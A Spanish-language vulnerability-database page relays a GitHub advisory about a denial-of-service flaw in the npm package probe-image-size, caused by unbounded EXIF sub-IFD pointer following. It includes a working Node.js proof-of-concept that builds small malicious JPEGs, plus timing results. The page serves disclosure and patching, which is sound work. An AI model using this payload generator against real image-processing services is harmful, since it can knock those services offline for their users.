llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · probe-image-size

GHSA-GVWC-5HR5-44P8

probe-image-size: el fan-out de sub-IFD en EXIF bloquea el bucle de eventos (JPEG de 9,6 KB, 23 s)

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición25 dDesde la divulgación, 26 oct 2026, 5:45 p. m.
Detección23 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Anótala en tu libreta de pendientes serios.Más vale un parche a tiempo que un incidente de madrugada.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 7.5.0
Monitoreo
Detectada +1
26 oct 26
19 nov 26
21 nov 26
26 oct 26
2 nov 26
8 nov 26
15 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GVWC-5HR5-44P8 divulgada · CVSS 7.5 (GitHub)
Remediación Parche 7.5.0 probe-image-size · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Presentado aquí a petición del mantenedor, en respuesta a nuestro correo del 2026-10-21: un reporte de GitHub por cada problema. Este es uno de cuatro reportes separados de ese correo y se sostiene por sí solo.

Encontrado con AploSec, nuestro escáner de seguridad, y confirmado mediante ejecución.

## Resumen
Un JPEG de 9,6 KB cuyo IFD de EXIF apunta a sí mismo mediante muchas etiquetas de sub-IFD hace que `probe.sync` bloquee el bucle de eventos durante unos 23 segundos. El costo crece unas 15 veces cada vez que se duplica la cantidad de entradas. El mismo código se ejecuta en `probe(stream)` y `probe(url)`.

## Versiones afectadas
- probe-image-size 7.4.0 (última en npm, publicada el 2026-08-15). El HEAD de la rama principal 64565c3c ("7.4.0 released") es idéntico a la versión publicada y sigue siendo el último commit y la última versión al 2026-10-22.
- También presente, sin cambios, en 7.3.0 (mismos tiempos). No se trata del aviso SVG GHSA-gjj5-9665-rwrc; es un archivo distinto y anterior a esa corrección.

## Detalles
`lib/exif_utils.js:212`. Mientras busca la etiqueta de orientación, las entradas con etiqueta 0x8769 (puntero a ExifIFD) y 0xA005 (puntero a InteropIFD) se encolan y se siguen sin recordar qué desplazamientos de IFD ya se visitaron. Un IFD con `a` entradas de un tipo y `b` del otro, todas apuntando al desplazamiento del propio IFD, cuesta aproximadamente `a*b*(a+b)` lecturas de entradas y sigue aumentando la cola de trabajos. No hay etiqueta 0x112 (orientación) en el archivo, por lo que la salida anticipada nunca se activa.
Es alcanzable a través de la ruta EXIF del APP1 `Exif` de JPEG en `probe.sync`, `probe(stream)` y `probe(url)`. Las rutas EXIF de WebP y AVIF llaman a la misma `get_orientation`.

Modelo de atacante: remoto y sin autenticación. El atacante solo necesita proporcionar bytes de imagen o una URL de imagen a un servicio que llame a probe-image-size (manejadores de carga, previsualización de URL, proxies de imágenes).

## Prueba de concepto
`poc3.js` (7.4.0 en `probe-image-size`, 7.3.0 en `./old/node_modules/probe-image-size`):

// Fan-out de sub-IFD en EXIF: a x etiqueta0x8769 + b x etiqueta0xA005 entradas, todas apuntando al propio IFD (desplazamiento 8)
const probe = require('probe-image-size'), OLD = require('./old/node_modules/probe-image-size')
function tiff (a, b, benign) {
  const n = a + b, buf = Buffer.alloc(8 + 2 + 12 * n + 4)
  buf.write('II*\0', 0, 'latin1'); buf.writeUInt32LE(8, 4); buf.writeUInt16LE(n, 8)
  for (let i = 0; i < n; i++) {
    const o = 10 + 12 * i
    buf.writeUInt16LE(benign ? 0x0100 : (i < a ? 0x8769 : 0xA005), o)   // benigno: etiqueta simple (ImageWidth), no un enlace
    buf.writeUInt16LE(4, o + 2); buf.writeUInt32LE(1, o + 4); buf.writeUInt32LE(8, o + 8)
  }
  return buf
}
function jpeg (t) {
  const app1 = Buffer.concat([Buffer.from('Exif\0\0', 'latin1'), t])
  const l = Buffer.alloc(2); l.writeUInt16BE(app1.length + 2)
  const sof = Buffer.from([0xFF, 0xC0, 0, 11, 8, 0, 1, 0, 1, 1, 1, 0x11, 0])
  return Buffer.concat([Buffer.from([0xFF, 0xD8, 0xFF, 0xE1]), l, app1, sof])
}
for (const n of [100, 200, 400, 800]) {
  const atk = jpeg(tiff(n / 2, n / 2, false)), ctl = jpeg(tiff(n / 2, n / 2, true))
  let s = process.hrtime.bigint(); const r1 = probe.sync(ctl); const tc = Number(process.hrtime.bigint() - s) / 1e6
  s = process.hrtime.bigint(); const r2 = probe.sync(atk); const ta = Number(process.hrtime.bigint() - s) / 1e6
  s = process.hrtime.bigint(); OLD.sync(atk); const to = Number(process.hrtime.bigint() - s) / 1e6
  console.log(`entradas=${n} jpeg=${atk.length}B  control=${tc.toFixed(1)}ms ataque(7.4.0)=${ta.toFixed(0)}ms ataque(7.3.0)=${to.toFixed(0)}ms  dims=${r2 && r2.width}x${r2 && r2.height}`)
}

Entorno de prueba: Docker `node:22-slim` (Node 22.23.4), `npm i probe-image-size@7.4.0` (y 7.3.0 en `./old` donde se indica), ejecutado con `docker run --rm --network none`.

Control: el mismo JPEG con la misma cantidad de entradas, pero usando la etiqueta simple 0x0100 (ImageWidth) en lugar de las dos etiquetas de enlace. Se analiza en 0,1 a 1,1 ms en todos los tamaños, así que la lentitud proviene de seguir los enlaces y no de la cantidad de entradas.

Resultados:

entradas=100 jpeg=1239B  control=1.1ms ataque(7.4.0)=26ms ataque(7.3.0)=27ms  dims=1x1
entradas=200 jpeg=2439B  control=0.1ms ataque(7.4.0)=131ms ataque(7.3.0)=130ms  dims=1x1
entradas=400 jpeg=4839B  control=0.2ms ataque(7.4.0)=2038ms ataque(7.3.0)=1841ms  dims=1x1
entradas=800 jpeg=9639B  control=0.1ms ataque(7.4.0)=23128ms ataque(7.3.0)=23039ms  dims=1x1

Un segmento APP1 de tamaño completo contiene unas 5.400 entradas, lo que extrapolado da horas. No ejecuté tamaños superiores a 800 entradas (1.600 entradas superaron mi presupuesto de tiempo).

## Impacto
Denegación de servicio. Una imagen pequeña bloquea el bucle de eventos de Node.js, por lo que una sola solicitud detiene a todas las demás que atiende el proceso, y unas pocas solicitudes bastan para tumbar el servicio. La memoria también crece con la cola de trabajos. No se requiere autenticación ni interacción del usuario.

## Corrección sugerida
Mantener un conjunto de desplazamientos de IFD visitados y omitir los ya vistos, y limitar el número total de IFD o entradas procesadas por imagen.

Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)

Crédito: Zachariah Mithani (@zachariah-mithani, AploSec)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
probe-image-size≤ 7.4.0
7.4.0
7.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmprobe-image-size
Corregida 7.5.0 0 d 7.5.0 no afectada
Versiones corregidas7.5.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/nodeca/probe-image-size/security/advisories/GHSA-gvwc-5hr5-44p8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.